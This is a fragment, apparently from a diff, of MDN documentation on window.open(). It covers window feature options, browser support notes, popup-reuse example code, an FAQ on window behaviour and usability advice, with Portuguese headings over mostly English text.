- <dd>Mozilla and Firefox users can force new windows to always render the menubar by setting <code>dom.disable_window_open_feature.menubar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
- <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>toolbar</dt>
- <dd>If this feature is on, then the new secondary window renders the Navigation Toolbar (Back, Forward, Reload, Stop buttons). In addition to the Navigation Toolbar, Mozilla-based browsers will render the Tab Bar if it is visible, present in the parent window. (If this feature is set to <var>no</var> all toolbars in the window will be invisible, for example extension toolbars).</dd>
- <dd>Mozilla and Firefox users can force new windows to always render the Navigation Toolbar by setting <code>dom.disable_window_open_feature.toolbar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
- <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>location</dt>
- <dd>If this feature is on, then the new secondary window renders the Location bar in Mozilla-based browsers. MSIE 5+ and Opera 7.x renders the Address Bar.</dd>
- <dd>Mozilla and Firefox users can force new windows to always render the location bar by setting <code>dom.disable_window_open_feature.location</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>. {{Fx_minversion_note(3, "In Firefox 3, <code>dom.disable_window_open_feature.location</code> now defaults to <var>true</var>, forcing the presence of the Location Bar much like in IE7. See bug 337344 for more information.")}}</dd>
- <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
- <dt>personalbar</dt>
- <dd>If this feature is on, then the new secondary window renders the Personal Toolbar in Netscape 6.x, Netscape 7.x and Mozilla browser. It renders the Bookmarks Toolbar in Firefox. In addition to the Personal Toolbar, Mozilla browser will render the Site Navigation Bar if such toolbar is visible, present in the parent window.</dd>
- <dd>Mozilla and Firefox users can force new windows to always render the Personal Toolbar/Bookmarks toolbar by setting <code>dom.disable_window_open_feature.personalbar</code> to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>directories {{obsolete_inline("2")}}</dt>
- <dd>Obsolete synonym of personalbar. In IE, it rendered the Links bar. Supported in Gecko up to 1.9.2 and in IE up to 6.</dd>
- <dt>status</dt>
- <dd>If this feature is on, then the new secondary window has a status bar. Users can force the rendering of status bar in all Mozilla-based browsers, in MSIE 6 SP2 (<a href="#Note_on_security_issues_of_the_status_bar_presence">Note on status bar in XP SP2</a>) and in Opera 6+. The default preference setting in recent Mozilla-based browser releases and in Firefox 1.0 is to force the presence of the status bar.</dd>
- <dd><a href="#Note_on_status_bar">Note on status bar</a></dd>
- <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
-</dl>
-
-<h3 id="Funcionalidades_da_função_da_janela">Funcionalidades da função da janela</h3>
-
-<dl>
- <dt>attention {{NonStandardBadge}}</dt>
- <dd>If this feature is specified, the window is able to open even if another application is already in the foreground. This feature is for Firefox OS applications only, and is currently restricted to certified applications. See {{SectionOnPage("/en-US/Apps/Build/App_permissions", "Certified app permissions")}} for more information.</dd>
- <dd>Supported in: <img alt="" src="https://mdn.mozillademos.org/files/8003/firefox_os_logo_wordmark-75px.png" style="height: 25px; width: 83px;"></dd>
- <dt>dependent</dt>
- <dd>If on, the new window is said to be dependent of its parent window. A dependent window closes when its parent window closes. A dependent window is minimized on the Windows task bar only when its parent window is minimized. On Windows platforms, a dependent window does not show on the task bar. A dependent window also stays in front of the parent window.</dd>
- <dd>Dependent windows are not implemented on MacOS X, this option will be ignored.</dd>
- <dd>The dependent feature is currently under revision to be removed ({{Bug(214867)}})</dd>
- <dd>In MSIE 6, the nearest equivalent to this feature is the <code>showModelessDialog()</code> method.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>minimizable</dt>
- <dd>This setting can only apply to dialog windows; "minimizable" requires <code>dialog=yes</code>. If <code>minimizable</code> is on, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. Any non-dialog window is always minimizable and <code>minimizable=no</code> will be ignored.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>fullscreen</dt>
- <dd>Do not use. Not implemented in Mozilla. There are no plans to implement this feature in Mozilla.</dd>
- <dd>This feature no longer works in MSIE 6 SP2 the way it worked in MSIE 5.x. The Windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in MSIE 5.x.</dd>
- <dd><code>fullscreen</code> always upsets users with large monitor screen or with dual monitor screen. Forcing <code>fullscreen</code> onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users.</dd>
- <dd><a href="#Note_on_fullscreen">Note on fullscreen</a></dd>
- <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png"></dd>
- <dd><code>fullscreen</code> does not really work in MSIE 6 SP2.</dd>
- <dt><a id="noopener" name="noopener">noopener</a></dt>
- <dd>If this feature is set, the newly-opened window will open as normal, except that it will not have access back to the originating window (via {{domxref("Window.opener")}} — it returns <code>null</code>). In addition, the <code>window.open()</code> call will also return <code>null</code>, so the originating window will not have access to the new one either.  This is useful for preventing untrusted sites opened via <code>window.open()</code> from tampering with the originating window, and vice versa.</dd>
- <dd>Note that when <code>noopener</code> is used, nonempty target names other than <code>_top</code>, <code>_self</code>, and <code>_parent</code> are all treated like <code>_blank</code> in terms of deciding whether to open a new window/tab.<br>
- <br>
- This is supported in modern browsers including Chrome, and Firefox 52+. See also <code><a href="/en-US/docs/Web/HTML/Link_types#noopener">rel="noopener"</a></code>.</dd>
- <dt>resizable</dt>
- <dd>If this feature is on, the new secondary window will be resizable.</dd>
- <dd><strong>Note</strong>: Starting with version 1.4, Mozilla-based browsers have a window resizing grippy at the right end of the status bar, this ensures that users can resize the browser window even if the web author requested this secondary window to be non-resizable. In such case, the maximize/restore icon in the window's titlebar will be disabled and the window's borders won't allow resizing but the window will still be resizable via that grippy in the status bar.
- <p>Starting with Firefox 3, secondary windows are always resizable ({{Bug(177838)}})</p>
-
- <div class="note">
- <p><strong>Dica</strong>: For accessibility reasons, it is strongly recommended to set this feature always on</p>
- </div>
- </dd>
- <dd>Mozilla and Firefox users can force new windows to be easily resizable by setting <code>dom.disable_window_open_feature.resizable</code> to <code><var>true</var></code> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
- <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>scrollbars</dt>
- <dd>If this feature is on, the new secondary window will show horizontal and/or vertical scrollbar(s) if the document doesn't fit into the window's viewport.
- <div class="note">
- <p><strong>Dica</strong>: For accessibility reasons, it is strongly encouraged to set this feature always on.</p>
- </div>
- </dd>
- <dd>Mozilla and Firefox users can force this option to be always enabled for new windows by setting {{pref("dom.disable_window_open_feature.scrollbars")}} to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>. <strong>Starting in Firefox 49, this feature is on by default, and the {{pref("dom.disable_window_open_feature.scrollbars")}} preference has been removed.</strong></dd>
- <dd><a href="#Note_on_scrollbars">Note on scrollbars</a></dd>
- <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
-</dl>
-
-<h3 id="Funcionalidades_que_requerem_privilégios">Funcionalidades que requerem privilégios</h3>
-
-<p>The following features require the <code>UniversalBrowserWrite</code> privilege, otherwise they will be ignored. Chrome scripts have this privilege automatically, others have to request it from the PrivilegeManager.</p>
-
-<dl>
- <dt>chrome</dt>
- <dd><strong>Note</strong>: Starting with Mozilla 1.7/Firefox 0.9, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{Bug(244965)}}). Without this privilege, it is ignored.</dd>
- <dd>If on, the page is loaded as window's only content, without any of the browser's interface elements. There will be no context menu defined by default and none of the standard keyboard shortcuts will work. The page is supposed to provide a user interface of its own, usually this feature is used to open XUL documents (standard dialogs like the JavaScript Console are opened this way).</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>dialog</dt>
- <dd><strong>Note</strong>: Starting with Firefox 44, this feature can only be used with chrome privileges. If content attempts to toggle this feature, it will be ignored.</dd>
- <dd><a href="/@api/deki/files/268/=MenuSystemCommands.png" title="MenuSystemCommands.png"><img alt="MenuSystemCommands.png" class="internal lwrap" src="/@api/deki/files/268/=MenuSystemCommands.png?size=webview" style="float: left; height: 170px; width: 170px;"> </a> The <code>dialog</code> feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. Mozilla 1.2+ and Netscape 7.1 will render the other menu system commands (in FF 1.0 and in NS 7.0x, the command system menu is not identified with the Firefox/NS 7.0x icon on the left end of the titlebar: that's probably a bug. You can access the command system menu with a right-click on the titlebar). Dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. They are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. On Mac systems, dialog windows have a different window border and they may get turned into a sheet.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>modal</dt>
- <dd><strong>Note</strong>: Starting with Mozilla 1.2.1, this feature requires the <code>UniversalBrowserWrite</code> privilege ({{Bug(180048)}}). Without this privilege, it is ignored.</dd>
- <dd>If on, the new window is said to be modal. The user cannot return to the main window until the modal window is closed. A typical modal window is created by the <a href="/en-US/docs/DOM/window.alert" title="DOM/window.alert">alert() function</a>.</dd>
- <dd>The exact behavior of modal windows depends on the platform and on the Mozilla release version.
- <div class="note">
- <p><strong>Nota:</strong> As of {{Gecko("1.9")}}, the Internet Explorer equivalent to this feature is the {{domxref("window.showModalDialog()")}} method. For compatibility reasons, it's now supported in Firefox. Note also that starting in {{Gecko("2.0")}}, you can use {{domxref("window.showModalDialog()")}} without UniversalBrowserWrite privileges.</p>
- </div>
- </dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>titlebar</dt>
- <dd>By default, all new secondary windows have a titlebar. If set to <var>no or 0</var>, this feature removes the titlebar from the new secondary window.</dd>
- <dd>Mozilla and Firefox users can force new windows to always render the titlebar by setting<br>
- <code>dom.disable_window_open_feature.titlebar</code><br>
- to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>alwaysRaised</dt>
- <dd>If on, the new window will always be displayed on top of other browser windows, regardless of whether it is active or not.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>alwaysLowered</dt>
- <dd>If on, the new created window floats below, under its own parent when the parent window is not minimized. alwaysLowered windows are often referred as pop-under windows. The alwaysLowered window can not be on top of the parent but the parent window can be minimized. In NS 6.x, the alwaysLowered window has no minimize system command icon and no restore/maximize system command.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>z-lock</dt>
- <dd>Same as <code>alwaysLowered</code>.</dd>
- <dt>close</dt>
- <dd>When set to <var>no or 0</var>, this feature removes the system close command icon and system close menu item. It will only work for dialog windows (<code>dialog</code> feature set). <code>close=no</code> will override <code>minimizable=yes</code>.</dd>
- <dd>Mozilla and Firefox users can force new windows to always have a close button by setting<br>
- <code>dom.disable_window_open_feature.close</code><br>
- to <var>true</var> in <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#about_config">about:config</a> or in their <a href="http://support.mozilla.com/en-US/kb/Editing+configuration+files#user_js">user.js file</a>.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
-</dl>
-
-<p>The position and size feature elements require a number to be set. The toolbars and window functionalities can be set with a <var>yes</var> or <var>no</var>; you can use <var>1</var> instead of <var>yes</var> and <var>0</var> instead of <var>no</var>. The toolbar and functionality feature elements also accept the shorthand form: you can turn a feature on by simply listing the feature name in the <var>features</var> string. If you supply the <var>features</var> parameter, then the <code>titlebar</code> and <code>close</code> are still <var>yes</var> by default, but the other features which have a <var>yes</var>/<var>no</var> choice will be <var>no</var> by default and will be turned off.</p>
-
-<p>Example:</p>
-
-<pre class="brush:js">var windowObjectReference; // global variable
-
-function openRequestedPopup() {
- windowObjectReference = window.open(
- "http://www.domainname.ext/path/ImgFile.png",
- "DescriptiveWindowName",
- "width=420,height=230,resizable,scrollbars=yes,status=1"
- );
-}</pre>
-
-<p>In this example, the window will be resizable, it will render scrollbar(s) if needed, if the content overflows requested window dimensions and it will render the status bar. It will not render the menubar nor the location bar. Since the author knew about the size of the image (400 pixels wide and 200 pixels high), he added the margins applied to the root element in MSIE 6 which is 15 pixels for top margin, 15 pixels for the bottom margin, 10 pixels for the left margin and 10 pixels for the right margin.</p>
-
-<h2 id="As_melhores_práticas">As melhores práticas</h2>
-
-<pre class="brush:js">&lt;script type="text/javascript"&gt;
-var windowObjectReference = null; // global variable
-
-function openFFPromotionPopup() {
- if(windowObjectReference == null || windowObjectReference.closed)
- /* if the pointer to the window object in memory does not exist
- or if such pointer exists but the window was closed */
-
- {
- windowObjectReference = window.open("http://www.spreadfirefox.com/",
- "PromoteFirefoxWindowName", "resizable,scrollbars,status");
- /* then create it. The new window will be created and
- will be brought on top of any other window. */
- }
- else
- {
- windowObjectReference.focus();
- /* else the window reference must exist and the window
- is not closed; therefore, we can bring it back on top of any other
- window with the focus() method. There would be no need to re-create
- the window or to reload the referenced resource. */
- };
-}
-&lt;/script&gt;
-
-(...)
-
-&lt;p&gt;&lt;a
- href="http://www.spreadfirefox.com/"
- target="PromoteFirefoxWindowName"
- onclick="openFFPromotionPopup(); return false;"
- title="This link will create a new window or will re-use an already opened one"
-&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
-</pre>
-
-<p>The above code solves a few usability problems related to links opening secondary window. The purpose of the <code>return false</code> in the code is to cancel default action of the link: if the onclick event handler is executed, then there is no need to execute the default action of the link. But if javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "PromoteFirefoxWindowName". If no frame nor window has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName".</p>
-
-<p>More reading on the use of the target attribute:</p>
-
-<p><a href="http://www.w3.org/TR/html401/present/frames.html#h-16.3.2">HTML 4.01 Target attribute specifications</a></p>
-
-<p><a href="http://www.htmlhelp.com/faq/html/links.html#new-window">How do I create a link that opens a new window?</a></p>
-
-<p>You can also parameterize the function to make it versatile, functional in more situations, therefore re-usable in scripts and webpages:</p>
-
-<pre class="brush:js">&lt;script type="text/javascript"&gt;
-var windowObjectReference = null; // global variable
-
-function openRequestedPopup(strUrl, strWindowName) {
- if(windowObjectReference == null || windowObjectReference.closed) {
- windowObjectReference = window.open(strUrl, strWindowName,
- "resizable,scrollbars,status");
- } else {
- windowObjectReference.focus();
- };
-}
-&lt;/script&gt;
-
-(...)
-
-&lt;p&gt;&lt;a
- href="http://www.spreadfirefox.com/"
- target="PromoteFirefoxWindow"
- onclick="openRequestedPopup(this.href, this.target); return false;"
- title="This link will create a new window or will re-use an already opened one"
-&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
-</pre>
-
-<p>You can also make such function able to open only 1 secondary window and to reuse such single secondary window for other links in this manner:</p>
-
-<pre class="brush:js">&lt;script type="text/javascript"&gt;
-var windowObjectReference = null; // global variable
-var PreviousUrl; /* global variable which will store the
- url currently in the secondary window */
-
-function openRequestedSinglePopup(strUrl) {
- if(windowObjectReference == null || windowObjectReference.closed) {
- windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
- "resizable,scrollbars,status");
- } else if(PreviousUrl != strUrl) {
- windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
- "resizable=yes,scrollbars=yes,status=yes");
- /* if the resource to load is different,
- then we load it in the already opened secondary window and then
- we bring such window back on top/in front of its parent window. */
- windowObjectReference.focus();
- } else {
- windowObjectReference.focus();
- };
-
- PreviousUrl = strUrl;
- /* explanation: we store the current url in order to compare url
- in the event of another call of this function. */
-}
-&lt;/script&gt;
-
-(...)
-
-&lt;p&gt;&lt;a
- href="http://www.spreadfirefox.com/"
- target="SingleSecondaryWindowName"
- onclick="openRequestedSinglePopup(this.href); return false;"
- title="This link will create a new window or will re-use an already opened one"
-&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
-
-&lt;p&gt;&lt;a
- href="http://www.mozilla.org/support/firefox/faq"
- target="SingleSecondaryWindowName"
- onclick="openRequestedSinglePopup(this.href); return false;"
- title="This link will create a new window or will re-use an already opened one"
-&gt;Firefox FAQ&lt;/a&gt;&lt;/p&gt;
-</pre>
-
-<h2 id="Perguntas_Mais_Frequentes">Perguntas Mais Frequentes</h2>
-
-<dl>
- <dt>How can I prevent the confirmation message asking the user whether he wants to close the window?</dt>
- <dd>You can not. <strong>New windows not opened by javascript can not as a rule be closed by JavaScript.</strong> The JavaScript Console in Mozilla-based browsers will report the warning message: <code>"Scripts may not close windows that were not opened by script."</code> Otherwise the history of URLs visited during the browser session would be lost.</dd>
- <dd><a href="/en-US/docs/DOM/window.close" title="DOM/window.close">More on the window.close()</a> method</dd>
- <dt>How can I bring back the window if it is minimized or behind another window?</dt>
- <dd>First check for the existence of the window object reference of such window and if it exists and if it has not been closed, then use the <a href="/en-US/docs/DOM/window.focus" title="DOM/window.focus">focus()</a> method. There is no other reliable way. You can examine an <a href="#Best_practices">example explaining how to use the focus() method</a>.</dd>
- <dt>How do I force a maximized window?</dt>
- <dd>You cannot. All browser manufacturers try to make the opening of new secondary windows noticed by users and noticeable by users to avoid confusion, to avoid disorienting users.</dd>
- <dt>How do I turn off window resizability or remove toolbars?</dt>
- <dd>You cannot force this. Users with Mozilla-based browsers have absolute control over window functionalities like resizability, scrollability and toolbars presence via user preferences in <code>about:config</code>. Since your users are the ones who are supposed to use such windows (and not you, being the web author), the best is to avoid interfering with their habits and preferences. We recommend to always set the resizability and scrollbars presence (if needed) to yes to insure accessibility to content and usability of windows. This is in the best interests of both the web author and the users.</dd>
- <dt>How do I resize a window to fit its content?</dt>
- <dd>You can not reliably because the users can prevent the window from being resized by unchecking the <code>Edit/Preferences/Advanced/Scripts &amp; Plug-ins/Allow Scripts to/ Move or resize existing windows</code> checkbox in Mozilla or <code>Tools/Options.../Content tab/Enable Javascript/Advanced button/Move or resize existing windows</code> checkbox in Firefox or by setting <code>dom.disable_window_move_resize</code> to <var>true</var> in <code>about:config</code> or by editing accordingly their <a href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</dd>
- <dd>In general, users usually disable moving and resizing of existing windows because allowing authors' scripts to do so has been abused overwhelmingly in the past and the rare scripts that do not abuse such feature are often wrong, inaccurate when resizing the window. 99% of all those scripts disable window resizability and disable scrollbars when in fact they should enable both of these features to allow a cautious and sane fallback mechanism if their calculations are wrong.</dd>
- <dd>The window method <a href="/en-US/docs/DOM/window.sizeToContent" title="DOM/window.sizeToContent">sizeToContent()</a> is also disabled if the user unchecks the preference <code>Move or resize existing windows</code> checkbox. Moving and resizing a window remotely on the user's screen via script will very often annoy the users, will disorient the user, and will be wrong at best. The web author expects to have full control of (and can decide about) every position and size aspects of the users' browser window ... which is simply not true.</dd>
- <dt>How do I open a referenced resource of a link in a new tab? or in a specific tab?</dt>
- <dd>To open a resource in a new tab see <a href="https://developer.mozilla.org/en-US/docs/XUL/tabbrowser">Tabbed browser</a>. Some <a href="https://developer.mozilla.org/en-US/Add-ons/Code_snippets/Tabbed_browser?redirectlocale=en-US&amp;redirectslug=Code_snippets%2FTabbed_browser">Code snippets</a> are available. If you are using the SDK, tabs are <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs">handled a bit differently</a></dd>
- <dd><a href="http://kmeleon.sourceforge.net/">K-meleon 1.1</a>, a Mozilla-based browser, gives complete control and power to the user regarding how links are opened. Only the user can set his advanced preferences to do that. Some advanced extensions also give Mozilla and Firefox a lot of power over how referenced resources are loaded.</dd>
- <dd>In a few years, the <a href="http://www.w3.org/TR/2004/WD-css3-hyperlinks-20040224/#target0">target property of the CSS3 hyperlink module</a> may be implemented (if CSS3 Hyperlink module as it is right now is approved). And even if and when this happens, you can expect developers of browsers with tab-browsing to give the user entire veto power and full control over how links can open web pages. How to open a link should always be entirely under the control of the user.</dd>
- <dt>How do I know whether a window I opened is still open?</dt>
- <dd>You can test for the existence of the window object reference which is the returned value in case of success of the window.open() call and then verify that <var>windowObjectReference</var>.closed return value is <var>false</var>.</dd>
- <dt>How can I tell when my window was blocked by a popup blocker?</dt>
- <dd>With the built-in popup blockers of Mozilla/Firefox and Internet Explorer 6 SP2, you have to check the return value of <code>window.open()</code>: it will be <var>null</var> if the window wasn't allowed to open. However, for most other popup blockers, there is no reliable way.</dd>
- <dt>What is the JavaScript relationship between the main window and the secondary window?</dt>
- <dd>The <code>window.open()</code> method gives a main window a reference to a secondary window; the <a href="/en-US/docs/DOM/window.opener" title="DOM/window.opener">opener</a> property gives a secondary window a reference to its main window.</dd>
- <dt>I can not access the properties of the new secondary window. I always get an error in the javascript console saying "Error<span class="nowiki">:</span> uncaught exception<span class="nowiki">:</span> Permission denied to get property &lt;property_name or method_name&gt;. Why is that?</dt>
- <dd>It is because of the cross-domain script security restriction (also referred as the "Same Origin Policy"). A script loaded in a window (or frame) from a distinct origin (domain name) <strong>cannot get nor set</strong> properties of another window (or frame) or the properties of any of its HTML objects coming from another distinct origin (domain name). Therefore, before executing a script targeting a secondary window, the browser in the main window will verify that the secondary window has the same domain name.</dd>
- <dd>More reading on the cross-domain script security restriction: <a href="http://www.mozilla.org/projects/security/components/same-origin.html" rel="freelink">http://www.mozilla.org/projects/secu...me-origin.html</a></dd>
-</dl>
-
-<h2 id="Problemas_de_usabilidade">Problemas de usabilidade</h2>
-
-<h3 id="Evitar_o_recurso_a_window.open()">Evitar o recurso a <code>window.open()</code></h3>
-
-<p>Generally speaking, it is preferable to avoid resorting to window.open() for several reasons:</p>
-
-<ul>
- <li>All Mozilla-based browsers offer <a href="https://developer.mozilla.org/en-US/docs/XUL/tabbrowser">tab-browsing</a> and this is the preferred mode of <a href="https://developer.mozilla.org/en-US/Add-ons/Code_snippets/Tabbed_browser?redirectlocale=en-US&amp;redirectslug=Code_snippets%2FTabbed_browser">opening referenced resources</a> (<a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/tabs">SDK</a>)... not just in Mozilla-based browsers but in all other browsers offering tab-browsing. In other words, tab-capable browser users overall prefer opening new tabs than opening new windows in a majority of webpage situations. Tab-capable browsers have rapidly gained support and enthusiasm on internet in the last 3 years; this trend will not revert back. MSIE 7, released in October 2006, has full support for tab browsing.</li>
- <li>There are now <a href="https://addons.mozilla.org/seamonkey/browse/type:1/cat:48/sort:updated">several Mozilla extensions</a> (like Multizilla) and <a href="https://addons.update.mozilla.org/firefox/browse/type:1/cat:14/sort:updated">Firefox extensions</a> (like <a href="https://addons.mozilla.org/firefox/addon/158">Tabbrowser preferences</a>), features, settings and advanced preferences based on tab-browsing and based on converting window.open() calls into opening tabs, based on neutralizing window.open() calls, in particular in neutralizing unrequested openings of new windows (often referred as blocking unrequested popups or as blocking script-initiated windows opening automatically). Such features found in extensions include opening a link in a new window or not, in the same window, in a new tab or not, in "background" or not. Coding carelessly to open new windows can no longer be assured of success, can not succeed by force and, if it does, it will annoy a majority of users.</li>
- <li>New windows can have menubar missing, scrollbars missing, status bar missing, window resizability disabled, etc.; new tabs can not be missing those functionalities or toolbars (or at least, the toolbars which are present by default). Therefore, tab-browsing is preferred by a lot of users because the normal user-interface of the browser window they prefer is kept intact, remains stable.</li>
- <li>Opening new windows, even with reduced features, uses considerably a lot of the user's system resources (cpu, RAM) and involves considerably a lot of coding in the source code (security management, memory management, various code branchings sometimes quite complex, window frame/chrome/toolbars building, window positioning and sizing, etc.). Opening new tabs is less demanding on the user's system resources (and faster to achieve) than opening new windows.</li>
-</ul>
-
-<h3 id="Oferecer_para_abrir_uma_hiperligação_numa_nova_janela_utilizando_estas_linhas_diretrizes">Oferecer para abrir uma hiperligação numa nova janela, utilizando estas linhas diretrizes</h3>
-
